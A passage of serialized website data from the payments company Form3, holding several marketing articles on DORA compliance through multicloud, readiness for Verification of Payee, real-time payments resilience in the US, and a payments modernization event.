it presents to financial entities, and how a multicloud strategy can help institutions overcome these hurdles while positioning themselves as leaders in operational resilience.",{"dimensions":21105,"alt":21106,"copyright":5,"url":21107,"id":21108,"edit":21109},{"width":412,"height":412},"Multicloud Strategies: A Path to Compliance with the EU Digital Operational Resilience Act (DORA)","\u002F_prismic-media\u002Ffe90a33fee0abb60-KjG7ojLDz1v-mPLF_compliance-with-the-eu-digital-.svg","KjG7ojLDz1v-mPLF",{"x":398,"y":398,"zoom":399,"background":650},"2024-11-21","The European Union’s Digital Operational Resilience Act (DORA) represents a transformative regulatory shift aimed at fortifying the financial sector’s ability to withstand ICT-related disruptions. With its compliance deadline fast approaching on January 17, 2025, organizations face increasing pressure to align their systems, policies, and practices with DORA’s stringent requirements. Among the various strategies available to financial institutions, adopting a multicloud approach emerges as a compelling solution to meet the act’s mandates while simultaneously enhancing operational resilience. In this article, we explore DORA’s foundational principles, the challenges it presents to financial entities, and how a multicloud strategy can help institutions overcome these hurdles while positioning themselves as leaders in operational resilience.",{"dimensions":21113,"alt":16144,"copyright":5,"url":21114,"id":21115,"edit":21116},{"width":501,"height":646},"\u002F_prismic-media\u002F4efffef3cc470147-GOOLzTfBG3Cxq6wk_fe903d61-28ba-4306-ba5b-2420c4d.jpg","GOOLzTfBG3Cxq6wk",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[21123,21131,21165,21178,21205,21217,21248,21256,21267],{"variation":437,"version":438,"items":21124,"primary":21125,"id":21130,"slice_type":468,"slice_label":5},[],{"body":21126},[21127],{"type":746,"text":21128,"spans":21129},"The Essence of DORA: Building Resilience in the Financial Sector",[],"rich_text$1992d402-9184-4e16-b209-74a809bc44a1",{"variation":437,"version":438,"items":21132,"primary":21133,"id":21164,"slice_type":468,"slice_label":5},[],{"body":21134},[21135,21138,21141,21144,21148,21152,21156,21160],{"type":988,"text":21136,"spans":21137,"direction":445},"DORA’s Objectives",[],{"type":25,"text":21139,"spans":21140,"direction":445}," At its core, DORA seeks to harmonise ICT risk management practices across the EU’s financial sector, recognising that technological dependencies are both a strength and a vulnerability. As financial institutions increasingly rely on interconnected ICT infrastructures, any disruptions—whether due to cyberattacks, natural disasters, or system failures—can cascade through the sector, jeopardising stability. ",[],{"type":25,"text":21142,"spans":21143,"direction":445},"To address this, DORA introduces a comprehensive framework focused on: ",[],{"type":3373,"text":21145,"spans":21146,"direction":445},"ICT risk management: Ensuring robust governance and proactive risk identification. ",[21147],{"start":398,"end":7460,"type":593},{"type":3373,"text":21149,"spans":21150,"direction":445},"Incident reporting: Mandating systems to detect and report ICT disruptions promptly. ",[21151],{"start":398,"end":6262,"type":593},{"type":3373,"text":21153,"spans":21154,"direction":445},"Resilience testing: Requiring periodic assessments, including penetration tests, for critical functions. ",[21155],{"start":398,"end":6262,"type":593},{"type":3373,"text":21157,"spans":21158,"direction":445},"Third-party risk management: Overseeing critical ICT service providers, such as cloud providers. ",[21159],{"start":398,"end":9704,"type":593},{"type":3373,"text":21161,"spans":21162,"direction":445},"Cyber threat intelligence sharing: Encouraging voluntary information exchange to strengthen collective resilience. ",[21163],{"start":398,"end":1131,"type":593},"rich_text$3e1da593-743c-491c-8eed-f1f0f9133276",{"variation":437,"version":438,"items":21166,"primary":21167,"id":21177,"slice_type":468,"slice_label":5},[],{"body":21168},[21169,21172],{"type":988,"text":21170,"spans":21171,"direction":445},"Timeline and Applicability",[],{"type":25,"text":21173,"spans":21174,"direction":445},"DORA was adopted in January 2023, with organizations required to achieve full compliance by January 2025. Its scope is extensive, encompassing banks, insurers, investment firms, and critical third-party ICT providers. However, the challenges of implementing DORA vary widely across organizations, influenced by their size, complexity, and existing ICT infrastructures. ",[21175,21176],{"start":7460,"end":5489,"type":593},{"start":12970,"end":6780,"type":593},"rich_text$79644603-423a-4122-b5ba-9c46263e6291",{"variation":437,"version":438,"items":21179,"primary":21180,"id":21204,"slice_type":468,"slice_label":5},[],{"body":21181},[21182,21185,21188,21192,21196,21200],{"type":988,"text":21183,"spans":21184,"direction":445},"Key Challenges for Financial Institutions",[],{"type":25,"text":21186,"spans":21187,"direction":445},"While DORA sets a clear path for improving resilience, its prescriptive requirements pose several challenges: ",[],{"type":3373,"text":21189,"spans":21190,"direction":445},"Legacy Systems: Many institutions rely on outdated ICT architectures that may lack the flexibility to meet DORA’s standards. ",[21191],{"start":398,"end":8472,"type":593},{"type":3373,"text":21193,"spans":21194,"direction":445},"ICT Concentration Risk: Heavy reliance on a single cloud or service provider creates vulnerabilities. ",[21195],{"start":398,"end":4023,"type":593},{"type":3373,"text":21197,"spans":21198,"direction":445},"Resource Allocation: Smaller firms may struggle with the financial and operational demands of compliance. ",[21199],{"start":398,"end":7460,"type":593},{"type":3373,"text":21201,"spans":21202,"direction":445},"Contractual Overhauls: Revising contracts with third-party ICT providers to meet DORA’s specific provisions is a time-intensive process. ",[21203],{"start":398,"end":7635,"type":593},"rich_text$a5d4c3d3-3fac-4997-99ae-e814b329a3a0",{"variation":437,"version":438,"items":21206,"primary":21207,"id":21216,"slice_type":468,"slice_label":5},[],{"body":21208},[21209,21212],{"type":988,"text":21210,"spans":21211,"direction":445},"Why Multi-cloud is Key to DORA Compliance",[],{"type":25,"text":21213,"spans":21214,"direction":445},"A multi-cloud approach involves leveraging multiple cloud service providers to distribute workloads, reduce risk, and enhance operational flexibility. This strategy aligns with several of DORA’s critical requirements, offering both practical and strategic benefits for financial entities. ",[21215],{"start":506,"end":7635,"type":593},"rich_text$5a1e5f65-c149-45f4-9e4f-6a0701b65918",{"variation":437,"version":438,"items":21218,"primary":21219,"id":21247,"slice_type":468,"slice_label":5},[],{"body":21220},[21221,21224,21227,21231,21235,21239,21243],{"type":988,"text":21222,"spans":21223,"direction":445},"Strategic and Practical Implications of Multi-cloud Adoption",[],{"type":25,"text":21225,"spans":21226,"direction":445},"While the benefits of multi-cloud are evident, implementing this strategy requires careful planning and execution. Financial entities should consider the following steps: ",[],{"type":3373,"text":21228,"spans":21229,"direction":445},"Assess ICT Dependencies: Conduct a comprehensive review of existing ICT infrastructures to identify risks and gaps. ",[21230],{"start":398,"end":9799,"type":593},{"type":3373,"text":21232,"spans":21233,"direction":445},"Design Resilient Architectures: Map critical workloads to cloud providers based on their strengths and capabilities. ",[21234],{"start":398,"end":690,"type":593},{"type":3373,"text":21236,"spans":21237,"direction":445},"Negotiate Third-Party Contracts: Align contracts with DORA’s requirements, ensuring clear definitions of roles, responsibilities, and compliance expectations. ",[21238],{"start":398,"end":5489,"type":593},{"type":3373,"text":21240,"spans":21241,"direction":445},"Strengthen Cybersecurity Measures: Integrate diverse security tools from multiple providers, conducting regular threat penetration tests as mandated by DORA. ",[21242],{"start":398,"end":1131,"type":593},{"type":3373,"text":21244,"spans":21245,"direction":445},"Monitor and Adapt: Continuously review multicloud performance, ensuring alignment with evolving business needs and regulatory changes. ",[21246],{"start":398,"end":2769,"type":593},"rich_text$26e3ca24-d4a4-4081-b00e-199db91d2664",{"variation":437,"version":438,"items":21249,"primary":21250,"id":21255,"slice_type":583,"slice_label":5},[],{"quote":21251,"attribution_name":12290,"attribution_role":5},[21252],{"type":25,"text":21253,"spans":21254,"direction":445},"How prepared is your organization to undertake the operational and contractual shifts required for a successful multi-cloud strategy?",[],"pull_quote$bbb16cab-e442-4763-9560-d300fefe0175",{"variation":437,"version":438,"items":21257,"primary":21258,"id":21266,"slice_type":468,"slice_label":5},[],{"body":21259},[21260,21263],{"type":988,"text":21261,"spans":21262,"direction":445},"Looking Ahead: Multi-cloud as a Competitive Advantage",[],{"type":25,"text":21264,"spans":21265,"direction":445},"Beyond compliance, multi-cloud offers a pathway to enhanced operational efficiency and strategic flexibility. By integrating multi-cloud into broader business strategies, financial entities can transform resilience from a regulatory necessity into a competitive differentiator. The ability to recover swiftly, maintain service delivery, and preemptively address risks strengthens customer trust and safeguards institutional reputation. ",[],"rich_text$b8a54ec4-f934-44b8-94a6-53f23d45a474",{"variation":437,"version":438,"items":21268,"primary":21269,"id":21279,"slice_type":468,"slice_label":5},[],{"body":21270},[21271,21273],{"type":988,"text":4445,"spans":21272,"direction":445},[],{"type":25,"text":21274,"spans":21275,"direction":445},"DORA presents both a challenge and an opportunity for the financial sector. While its mandates require significant effort, they also pave the way for a more resilient, secure, and harmonised operational landscape. A multicloud strategy emerges as a pragmatic and strategic response to DORA’s requirements, enabling financial entities to not only comply but thrive in an increasingly interconnected world. By embracing multi-cloud, organizations can turn compliance into a catalyst for innovation and long-term success. ",[21276],{"start":17502,"end":21277,"type":489,"data":21278},304,{"link_type":491,"url":13079,"target":493},"rich_text$8a5c7e0c-2dac-4f62-977b-303d14f159e9",{"id":21281,"uid":21282,"type":3743,"data":21283},"alzyZREAACwAUWD9","vop-deadline",{"title":21284,"excerpt":21285,"card_image":21286,"published_date":21291,"reading_time":1130,"tag":379,"dek":21292,"featured_image":21293,"about_form3":21298,"client_about_heading":5,"client_about_body":21299,"author_name":5,"author_title":5,"author_photo":21300,"author_bio":21301,"author_linkedin":21302,"slices":21303,"meta_title":21284,"meta_description":21285},"What PSPs must do ahead of VoP going live in October","Chris Mullins from Form3 explains what the new VoP scheme is all about, and offers sound advice on what payment service providers need to have in place before October’s go live date.",{"dimensions":21287,"alt":21284,"copyright":5,"url":21288,"id":21289,"edit":21290},{"width":412,"height":412},"\u002F_prismic-media\u002F3017aefcacf4f636-C4t1odYuM3CfZmkq_vop-deadline.png","C4t1odYuM3CfZmkq",{"x":398,"y":398,"zoom":399,"background":400},"2025-05-29","Chris Mullins from Form3 explains what the new VoP scheme is all about, and offers sound advice on what payment service providers need to have in place before October’s go live date",{"dimensions":21294,"alt":413,"copyright":5,"url":21295,"id":21296,"edit":21297},{"width":501,"height":646},"\u002F_prismic-media\u002Fbe04ac4dfae09c5f-JXYhc445t6jRh8MX_aBCz_vIqRLdaBtH-_Form3_SEO_Ligh.jpg","JXYhc445t6jRh8MX",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[21304,21327,21347,21370],{"variation":437,"version":438,"items":21305,"primary":21306,"id":21326,"slice_type":468,"slice_label":5},[],{"body":21307},[21308,21311,21314,21317,21320,21323],{"type":25,"text":21309,"spans":21310,"direction":445},"In just over four months’ time, the European Payments Council (EPC) will implement the new Verification Of Payee (VoP) scheme to help consumers and businesses prevent fraud and misdirected payments.  ",[],{"type":25,"text":21312,"spans":21313,"direction":445},"It works by ensuring that when they are making a credit transfer they are informed of any discrepancies between the payment account number and the intended payee's name. They can then decide whether or not to initiate the payment. ",[],{"type":25,"text":21315,"spans":21316,"direction":445},"The scheme will provide rules, practices and standards in the Single Euro Payments Area (SEPA). The need for VoP is largely driven by the European Commission's 2024 update to the Instant Payment Regulation (IPR) linked to the introduction of instant payments across Europe in 2025.  ",[],{"type":25,"text":21318,"spans":21319,"direction":445},"All current and future SEPA Credit Transfer (SCT) and\u002For SEPA Instant Credit Transfer (SCT Inst) scheme participants affected by the amended SEPA Regulation provisions on verification of payee must adhere to the VOP scheme. Those within the Euro Area, are mandated to implement a VoP service by October 9, 2025. The knock-on effect of this mandated service is a positive one: consumers should have greater confidence that they are making securer payment transactions.  ",[],{"type":25,"text":21321,"spans":21322,"direction":445},"Ahead of this October date, the EPC is currently running VoP scheme pilot testing. This activity is where technology partners, such as Form3, who will act as routing and\u002For verification mechanism (RVM) providers, are able to test the various technical components as well as perform end to end tests. ",[],{"type":25,"text":21324,"spans":21325,"direction":445},"With the clock ticking, and testing in progress ahead of deadline in October, what do PSPs need to do now to prepare for VoP?  ",[],"rich_text$c2333e75-d878-4986-ac3e-60b690d053d3",{"variation":437,"version":438,"items":21328,"primary":21329,"id":21346,"slice_type":468,"slice_label":5},[],{"body":21330},[21331,21334,21337,21340,21343],{"type":746,"text":21332,"spans":21333,"direction":445},"Advice for PSPs to be VoP ready",[],{"type":25,"text":21335,"spans":21336,"direction":445},"The first important step for PSPs is to clarify applicability and become a member of the VoP scheme - if they haven’t done so already. What is interesting here is that some of our customers automatically think that working with an RVM gives them access to the scheme, but this is not the reality. PSPs need to contact the EPC to go through an adherence process to become a VoP member.  ",[],{"type":25,"text":21338,"spans":21339,"direction":445},"Another sound piece of advice is for PSPs to assess the technical and information-security build that is needed to be VoP ready - this must include how the service will be exposed to their payment users – and not to underestimate what this entails with only a few months to go. More often than not, PSPs will need to choose the right tech partner to handle this work, so it meets their strategic needs; getting this right will deliver a lower total cost of ownership (TCO) and a better overall customer experience. There is also operational readiness to consider including training operations and support teams, as well as educating end users. ",[],{"type":25,"text":21341,"spans":21342,"direction":445},"In addition, we advise PSPs to do thorough research on VoP, as there are many complexities in the market as to what this scheme will entail. Some of these range from the scope of the obligation, interpretation of the roles, security requirements, reachability and certification. PSPs should avoid confusion by doing rigorous fact-checking.  ",[],{"type":25,"text":21344,"spans":21345,"direction":445},"Overall, the best advice we can offer PSPs in what is a very tight timescale is to find an RVM to manage the process. The main reason this is the best and safest option is to ensure PSPs are ready for October 9th.  ",[],"rich_text$c26bab7c-7119-4f01-a746-3fc21a248c03",{"variation":437,"version":438,"items":21348,"primary":21349,"id":21369,"slice_type":468,"slice_label":5},[],{"body":21350},[21351,21354,21357,21360,21363,21366],{"type":746,"text":21352,"spans":21353},"How Form3’s VoP solution can help PSPs",[],{"type":25,"text":21355,"spans":21356,"direction":445},"With the challenges associated with PSPs being VoP-ready quickly, Form3 is on hand to help take the headache out of being compliant by October – courtesy of our VoP solution.  ",[],{"type":25,"text":21358,"spans":21359,"direction":445},"Our API-first VoP solution is designed to integrate seamlessly into existing infrastructure, allowing PSPs to meet regulatory requirements while focusing on growth and improving overall customer experience.  ",[],{"type":25,"text":21361,"spans":21362,"direction":445},"The Form3 solution comes with a dedicated Onboarding Manager, integrated staging environment, documentation and swagger to provide ease of connectivity. Our VoP scheme simulator is designed to support integration and testing. ",[],{"type":25,"text":21364,"spans":21365,"direction":445},"Drawing on the Form3 Confirmation of Payee (CoP) solution, which performs highly efficiently with a name check and response time of 50 milliseconds, the VoP solution will replicate this. This is one of the highest performing services in the current market – important to minimise friction in the payments flow. ",[],{"type":25,"text":21367,"spans":21368,"direction":445},"Finally, our VoP solution is designed with compliance in mind for PSPs. Our fully managed service delivers compliance with regulations such as the IPR and PSD3. Form3 provides rolling scheme updates without service interruption.  ",[],"rich_text$a80690fc-30c5-4243-afed-71f4721f26f1",{"variation":437,"version":438,"items":21371,"primary":21372,"id":21377,"slice_type":468,"slice_label":5},[],{"body":21373},[21374],{"type":25,"text":21375,"spans":21376,"direction":445},"With the VoP scheme go-live looming, to achieve both regulatory compliance and consumer protections, we recommend going with a trusted partner such as Form3. We offer PSPs solid industry experience and expertise, with a VoP solution offering seamless onboarding and ease of integration that will get you ready for the deadline. Please don’t leave this process too late – the clock is ticking.  ",[],"rich_text$2e3e33f9-1371-4699-8f6b-194e142a3e1d",{"id":21379,"uid":21380,"type":3743,"data":21381},"alzyexEAACkAUWEy","resilient-real-time-payments-ecosystem",{"title":21382,"excerpt":21383,"card_image":21384,"published_date":21389,"reading_time":1633,"tag":729,"dek":5,"featured_image":21390,"about_form3":21395,"client_about_heading":5,"client_about_body":21396,"author_name":5,"author_title":5,"author_photo":21397,"author_bio":21398,"author_linkedin":21399,"slices":21400,"meta_title":21382,"meta_description":21383},"Beyond speed: How banks can build a resilient real-time payments ecosystem","What does a world without batch processing look like? That’s the future many payments leaders are working toward, and it was a major topic in a recent Payments Valkyries podcast, where Miriam Sheril from Form3 and other industry experts explored how real-time payments are reshaping the banking landscape.",{"dimensions":21385,"alt":21382,"copyright":5,"url":21386,"id":21387,"edit":21388},{"width":412,"height":412},"\u002F_prismic-media\u002F3912643a0c6046e1-S5mKLMt7OYSBJ_zK_resilient-real-time-payments-ec.png","S5mKLMt7OYSBJ_zK",{"x":398,"y":398,"zoom":399,"background":400},"2025-02-26",{"dimensions":21391,"alt":5,"copyright":5,"url":21392,"id":21393,"edit":21394},{"width":501,"height":646},"\u002F_prismic-media\u002F69cf4ed23b2b9390-BSLwD4a-WpFsUiiz_b1ffd5b8-2505-4573-af35-e91f3fd.jpg","BSLwD4a-WpFsUiiz",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[21401,21412,21425,21439,21448,21462,21476,21484,21501,21514,21522,21536,21560,21570],{"variation":437,"version":438,"items":21402,"primary":21403,"id":21411,"slice_type":468,"slice_label":5},[],{"body":21404},[21405],{"type":25,"text":21406,"spans":21407,"direction":445},"What does a world without batch processing look like? That’s the future many payments leaders are working toward, and it was a major topic in a recent Payments Valkyries podcast, where Miriam Sheril from Form3 and other industry experts explored how real-time payments are reshaping the banking landscape. Their conversation highlighted a key challenge: banks must go beyond simply enabling RTP or FedNow—they need to build a real-time payments ecosystem that’s seamless, scalable, and secure. ",[21408],{"start":14326,"end":9290,"type":489,"data":21409},{"link_type":491,"url":21410,"target":493},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=waNzGsYucoE  ","rich_text$4cd99a2d-3ba6-4672-9d98-a89f348793a0",{"variation":437,"version":438,"items":21413,"primary":21414,"id":21424,"slice_type":468,"slice_label":5},[],{"body":21415},[21416,21418,21421],{"type":988,"text":12441,"spans":21417,"direction":445},[],{"type":25,"text":21419,"spans":21420,"direction":445},"Real-time payments (RTP) are no longer an emerging trend—they are an industry reality. With the growing adoption of The Clearing House’s RTP network and the Federal Reserve’s FedNow Service, financial institutions are rapidly integrating real-time payments into their infrastructure. However, simply offering RTP and FedNow access is not enough. ",[],{"type":25,"text":21422,"spans":21423,"direction":445},"The challenge for banks today is not just about speed—it’s about building an interoperable payments ecosystem that is efficient, scalable, and secure. Without a cohesive strategy for interoperability, governance, and infrastructure modernization, banks risk falling behind fintechs and more agile competitors. So what does this mean for your institution? It means rethinking how payments are processed, routed, and governed to deliver the best possible customer experience while maintaining regulatory compliance and operational efficiency. ",[],"rich_text$ef650f67-08ab-445d-9269-6b4d8a4102fd",{"variation":437,"version":438,"items":21426,"primary":21427,"id":21438,"slice_type":468,"slice_label":5},[],{"body":21428},[21429,21432],{"type":988,"text":21430,"spans":21431,"direction":445},"Interoperability: The Missing Link in the US Real-Time Payments Market",[],{"type":25,"text":21433,"spans":21434,"direction":445},"One of the biggest challenges in scaling real-time payments in the US is interoperability. Unlike Europe’s SEPA Instant, which provides a single, unified instant payments framework, the US payments landscape is fragmented across RTP, FedNow, ACH, wires, and card networks. This fragmentation creates friction for businesses and consumers, limiting the seamless movement of funds. ",[21435],{"start":21436,"end":21437,"type":593},292,337,"rich_text$f2c75066-e118-456c-b027-b2399841696f",{"variation":437,"version":438,"items":21440,"primary":21441,"id":21447,"slice_type":583,"slice_label":5},[],{"quote":21442,"attribution_name":11772,"attribution_role":21446},[21443],{"type":25,"text":21444,"spans":21445,"direction":445},"We need to have a conversation among fintechs, consolidating the different networks… we all need to speak the same language and the networks have to be interchangeable.",[],"Head Of Product - US","pull_quote$b5bac316-1277-4d16-900d-6b83b9c8243f",{"variation":437,"version":438,"items":21449,"primary":21450,"id":21461,"slice_type":468,"slice_label":5},[],{"body":21451},[21452,21455,21458],{"type":25,"text":21453,"spans":21454,"direction":445},"This lack of standardization means businesses and consumers often face uncertainty about which rail their payment will use, how long it will take, and the associated costs. As instant payments gain traction, financial institutions must take a proactive role in driving interoperability rather than waiting for regulatory mandates. ",[],{"type":25,"text":21456,"spans":21457,"direction":445},"One way to achieve this is through adopting ISO 20022, a global standard that enhances data quality and streamlines compliance across payment networks. Additionally, intelligent payment routing capabilities will be key. These systems can dynamically determine the most efficient and cost-effective route for a transaction—whether that’s RTP, FedNow, ACH, or wires—ensuring that payments move smoothly across networks. ",[],{"type":25,"text":21459,"spans":21460,"direction":445},"Looking beyond domestic payments, cross-border instant payments are on the horizon. Banks that invest early in scalable, interoperable payment architectures will be well-positioned to offer seamless global transaction capabilities, a key differentiator in the evolving payments ecosystem. ",[],"rich_text$c55856ee-20ed-44ba-bc6a-b731eb01d3d9",{"variation":437,"version":438,"items":21463,"primary":21464,"id":21475,"slice_type":468,"slice_label":5},[],{"body":21465},[21466,21469],{"type":988,"text":21467,"spans":21468,"direction":445},"Governance Will Be Essential for Scaling Real-Time Payments",[],{"type":25,"text":21470,"spans":21471,"direction":445},"Unlike ACH, which is governed by NACHA, there is no central governing body for real-time payments in the US This regulatory gap creates inconsistencies in implementation, compliance, and fraud prevention. ",[21472,21473,21474],{"start":1130,"end":11705,"type":593},{"start":2868,"end":4084,"type":593},{"start":19923,"end":15636,"type":593},"rich_text$2e428a9a-6180-421e-a4a3-8fc82e4f8110",{"variation":437,"version":438,"items":21477,"primary":21478,"id":21483,"slice_type":583,"slice_label":5},[],{"quote":21479,"attribution_name":11772,"attribution_role":21446},[21480],{"type":25,"text":21481,"spans":21482,"direction":445},"Eventually we're going to need a governing body like NACHA for instant payments and I think it's going to have to be a global one.",[],"pull_quote$5f5c3c49-6e2f-4b98-ae6c-53324953cce8",{"variation":437,"version":438,"items":21485,"primary":21486,"id":21500,"slice_type":468,"slice_label":5},[],{"body":21487},[21488,21491,21494],{"type":25,"text":21489,"spans":21490,"direction":445},"The absence of unified oversight means that risk management, fraud prevention, and network interoperability remain largely in the hands of individual financial institutions. As a result, banks need to take the lead in defining best practices for fraud detection, regulatory compliance, and transaction security. ",[],{"type":25,"text":21492,"spans":21493,"direction":445},"Fraud, in particular, poses a heightened challenge in an instant payments environment where transactions are irrevocable. To mitigate risks, institutions should invest in AI-driven fraud detection capable of identifying suspicious activity in real time. Additionally, implementing Confirmation of Payee (CoP) measures—which ensure the recipient’s name matches the account details before a payment is sent—can significantly reduce fraud and misdirected payments. ",[],{"type":25,"text":21495,"spans":21496,"direction":445},"Beyond individual risk management, the industry as a whole must move toward standardized regulatory frameworks similar to those governing ACH and card networks. Banks that actively participate in shaping these governance structures—whether through industry working groups or partnerships with regulatory bodies—will be better equipped to navigate the evolving compliance landscape and drive consistency across the payments ecosystem. ",[21497],{"start":21498,"end":21499,"type":593},338,432,"rich_text$91a4f2e0-601d-44df-88ae-5c56ad1aea03",{"variation":437,"version":438,"items":21502,"primary":21503,"id":21513,"slice_type":468,"slice_label":5},[],{"body":21504},[21505,21508],{"type":988,"text":21506,"spans":21507,"direction":445},"The Infrastructure Challenge: Why Banks Must Modernize Now",[],{"type":25,"text":21509,"spans":21510,"direction":445},"Real-time payments require 24\u002F7 operational readiness, yet many banks are still reliant on legacy batch processing systems. Rather than rebuilding infrastructure from the ground up, some institutions have attempted to “bolt on” real-time payments to outdated systems—a short-term solution that limits efficiency and scalability. ",[21511],{"start":18932,"end":21512,"type":593},329,"rich_text$66e6e289-59ff-4280-8a33-6343688817cf",{"variation":437,"version":438,"items":21515,"primary":21516,"id":21521,"slice_type":583,"slice_label":5},[],{"quote":21517,"attribution_name":11772,"attribution_role":21446},[21518],{"type":25,"text":21519,"spans":21520,"direction":445},"Some banks have implemented instant payments with a Band-Aid… behind the scenes, this is really running like a batch process.",[],"pull_quote$2cb16bd9-c23c-47e8-ab85-439f51e3db49",{"variation":437,"version":438,"items":21523,"primary":21524,"id":21535,"slice_type":468,"slice_label":5},[],{"body":21525},[21526,21529,21532],{"type":25,"text":21527,"spans":21528,"direction":445},"This approach creates bottlenecks in reconciliation, liquidity management, and transaction processing, ultimately preventing banks from realizing the full benefits of real-time payments. Instead of merely adapting legacy systems, financial institutions must prioritize cloud-native, API-driven architectures designed for high-speed, high-volume payments. ",[],{"type":25,"text":21530,"spans":21531,"direction":445},"A key advantage of modern cloud-based payment infrastructure is multi-cloud resilience, ensuring uninterrupted processing even if one cloud provider experiences downtime. Additionally, integrating real-time reconciliation capabilities eliminates the inefficiencies of batch-based ledger updates, providing a continuous view of transaction flows and liquidity positions. ",[],{"type":25,"text":21533,"spans":21534,"direction":445},"As instant payments adoption scales, legacy-bound institutions will struggle to keep pace with increasing transaction volumes and customer expectations. Banks that invest in modern, flexible infrastructure today will gain long-term operational efficiencies, cost savings, and a significant competitive advantage over those that delay transformation. ",[],"rich_text$b8625de4-5bbe-4570-aae3-d81d153cecbc",{"variation":437,"version":438,"items":21537,"primary":21538,"id":21559,"slice_type":468,"slice_label":5},[],{"body":21539},[21540,21543,21548,21551,21554],{"type":988,"text":21541,"spans":21542,"direction":445},"Customer Expectations Are Shifting – Faster Payments, Less Friction",[],{"type":25,"text":21544,"spans":21545,"direction":445},"Real-time payments aren’t just about speed—they’re about creating a seamless, frictionless experience for businesses and consumers alike. The younger generation expects instant, account-to-account transactions, bypassing traditional credit cards and legacy payment methods. ",[21546,21547],{"start":5136,"end":1481,"type":593},{"start":9289,"end":3305,"type":593},{"type":25,"text":21549,"spans":21550,"direction":445},"Shifting consumer behavior is already evident in transaction patterns. 42% of RTP transactions now occur overnight, on weekends, or holidays, proving that users expect their financial services to operate beyond traditional banking hours. In the corporate sector, businesses are increasingly demanding real-time settlement for supplier payments and treasury management, moving away from the rigid cycles of batch-based processing. ",[],{"type":25,"text":21552,"spans":21553,"direction":445},"One area where this shift is particularly noticeable is payroll. Same-day or even hourly wage disbursements are becoming more common, reducing reliance on payday loans and giving employees greater financial control. Similarly, real-time insurance payouts and instant refunds are quickly becoming standard expectations. ",[],{"type":25,"text":21555,"spans":21556,"direction":445},"To meet these demands, banks must rethink how they structure payment offerings. Developing instant payout solutions for businesses, enabling real-time notifications and transaction tracking, and embedding RTP within merchant and corporate ecosystems will be critical differentiators. Institutions that take a customer-first approach to real-time payments will not only drive adoption but also strengthen relationships and solidify their position in the competitive payments landscape. ",[21557],{"start":1457,"end":21558,"type":593},485,"rich_text$66f8b00f-f09b-47ab-ae92-5003d7f9f9e6",{"variation":437,"version":438,"items":21561,"primary":21562,"id":21569,"slice_type":468,"slice_label":5},[],{"body":21563},[21564,21566],{"type":988,"text":4445,"spans":21565,"direction":445},[],{"type":25,"text":21567,"spans":21568,"direction":445},"The real-time payments revolution is here—but scaling RTP successfully requires more than just enabling faster transactions. Banks must: ",[],"rich_text$53607507-8725-4816-98cf-0725b069bc31",{"variation":437,"version":438,"items":21571,"primary":21572,"id":21577,"slice_type":468,"slice_label":5},[],{"body":21573},[21574],{"type":25,"text":21575,"spans":21576,"direction":445},"Institutions that fail to adapt risk being left behind as fintechs, challenger banks, and forward-thinking institutions lead the charge. Now is the time to invest in the future of payments—because in a real-time world, there’s no time to wait. ",[],"rich_text$7792cb02-5ad7-437e-bd9c-ba3a9dcf1bf6",{"id":21579,"uid":21580,"type":3743,"data":21581},"alzz1REAACcAUWRo","gated-content-us-payment-landscape-the-modernization-journey",{"title":21582,"excerpt":21583,"card_image":21584,"published_date":12070,"reading_time":643,"tag":6178,"dek":21589,"featured_image":21590,"about_form3":21591,"client_about_heading":5,"client_about_body":21592,"author_name":5,"author_title":5,"author_photo":21593,"author_bio":21594,"author_linkedin":21595,"slices":21596,"meta_title":21582,"meta_description":21583},"US Payment Landscape: The Modernization Journey","The US payment landscape is rapidly evolving, and payment modernization is a journey that requires careful planning and execution. With the move to ISO20022 and the upcoming next stage in faster payments with FedNow, the speed of change can be dizzying, but the rewards are considerable. By staying ahead of the curve, leaders can ensure that their organizations are well-positioned to take advantage of the latest payment innovations.",{"dimensions":21585,"alt":21582,"copyright":5,"url":21586,"id":21587,"edit":21588},{"width":412,"height":412},"\u002F_prismic-media\u002F07a08066a353abc9-1xtA0FKYC1u84YNI_gated-content-us-payment-landsc.png","1xtA0FKYC1u84YNI",{"x":398,"y":398,"zoom":399,"background":400},"For any leader of an organization steeped in payments, it’s a time of great opportunity and great complexity. The US payment landscape is rapidly evolving, and payment modernization is a journey that requires careful planning and execution. With the move to ISO20022 and the upcoming next stage in faster payments with FedNow, the speed of change can be dizzying, but the rewards are considerable. By staying ahead of the curve, leaders can ensure that their organizations are well-positioned to take advantage of the latest payment innovations.",{},[],[],{},[],{"link_type":434},[21597],{"variation":437,"version":438,"items":21598,"primary":21599,"id":21624,"slice_type":468,"slice_label":5},[],{"body":21600},[21601,21604,21608,21612,21616,21620],{"type":746,"text":21602,"spans":21603},"Speakers",[],{"type":3373,"text":21605,"spans":21606},"Bridgit (Bateman) Chayt, SVP Head of Commercial Payments & Treasury Management\nFIFTH THIRD BANK",[21607],{"start":398,"end":1066,"type":593},{"type":3373,"text":21609,"spans":21610},"Manish Baheti, Head of Payments for Consumer & Small Business\nSANTANDER US",[21611],{"start":398,"end":8472,"type":593},{"type":3373,"text":21613,"spans":21614},"Kunal Kochhar, GTS Head of Product Development Global Payments\nBANK OF AMERICA",[21615],{"start":398,"end":8472,"type":593},{"type":3373,"text":21617,"spans":21618},"Mark Ranta, Senior Manager, Payment Technology Transformation\nERNST & YOUNG",[21619],{"start":398,"end":2707,"type":593},{"type":3373,"text":21621,"spans":21622},"David Scola, General Manager - US\nFORM3",[21623],{"start":398,"end":1951,"type":593},"rich_text$353ac960-4e47-4121-8872-c0b201124d84",{"id":21626,"uid":21627,"type":3743,"data":21628},"alzyTxEAACwAUWDK","built-for-the-unexpected-form3s-architecture-remains-resilient-amidst-aws-outage",{"title":21629,"excerpt":21630,"card_image":21631,"published_date":21636,"reading_time":4603,"tag":3751,"dek":5,"featured_image":21637,"about_form3":21642,"client_about_heading":5,"client_about_body":21643,"author_name":5,"author_title":5,"author_photo":21644,"author_bio":21645,"author_linkedin":21646,"slices":21647,"meta_title":21629,"meta_description":21630},"Built for the Unexpected: Form3's architecture remains resilient amidst AWS outage","On Monday 20th October, AWS experienced a significant outage in its US-East-1 (Northern Virginia) region - a vivid reminder of how deeply the modern internet depends on cloud infrastructure. The impact reached far beyond the US: ripple effects were felt globally, including in the UK, where many well-known platforms went dark for 